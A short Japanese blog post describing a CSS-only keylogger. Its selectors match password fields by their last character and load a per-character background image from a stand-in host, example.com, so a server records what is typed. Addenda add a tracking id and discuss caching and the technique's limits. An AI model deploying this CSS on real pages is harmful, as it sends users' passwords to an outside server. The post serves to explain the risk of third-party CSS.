CSSだけでキーロガーを作る（※追記あり）

よくもまあこんなこと思いついたなw

要するに、

input[type="password"][value$="a"] {
  background-image: url("http://example.com/a");
}

input[type="password"][value$="b"] {
  background-image: url("http://example.com/b");
}

...

とすることで、キータイプ毎に特定のHTTPリクエストを発生させて、それをサーバ側でキャプチャするわけです。極めて簡単。

これはもう既に悪用されているでしょうなあ…

追記

input[type="password"][value$="a"] {
  background-image: url("http://example.com/a?id=1234abcd");
}

input[type="password"][value$="b"] {
  background-image: url("http://example.com/b?id=1234abcd");
}

...

のようにCSSごとに個別のIDを付けることが可能なら、キャプチャ側のサーバで操作を特定できます。キーをものすごく連打したらアレですけど。

更に、レスポンスにCache-Control: no-storeを付ければキャッシュもされない（はず）です。
（→CSS経由だと特別扱いされるかも。そこまでは調べてないので情報お待ちしています）
CSSのルールが一旦評価されると、それがキータイプ毎に再評価される（≒URL先を毎回読みに行く）わけではないはずなので、やっぱりキャッシュが効いてしまう気がしてきました。

追記２

CSSだけでキーロガーを作る - R42日記
[css]
[security]

同じアイデアはすでにweb fontで実現されていたし、3rd party cssの危険性が急に上がったわけではない / この攻撃はattributeを変更するReact等特定ライブラリ上しか動かない https://jakearchibald.com/2018/third-party-css-is-not-safe/
2018/02/28 12:09